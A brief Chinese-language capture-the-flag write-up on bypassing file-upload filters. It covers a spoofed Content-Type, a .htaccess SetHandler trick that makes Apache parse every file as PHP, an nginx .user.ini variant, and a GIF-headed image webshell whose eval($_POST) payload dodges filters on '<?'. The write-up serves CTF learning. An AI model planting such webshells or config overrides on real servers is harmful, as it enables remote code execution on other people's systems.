0x00 知識點
文件類型繞過:
Content-Type: image/jpeg
apache環境下上傳.hatcess
首先上傳一個.htaccess內容如下的文件
:SetHandler application/x-httpd-php
這樣所有文件都會解析為php,然后再上傳圖片馬,就可以解析
這里多說一下nginx我們可以嘗試.ini配置文件:
文件名后綴不能是 ph 開頭,文件內容過濾<?
長傳這樣的圖片馬:
GIF89a?
<script language="php">eval($_POST['a']);</script>
0x01 解題
emm簡單測試一下就getshell了: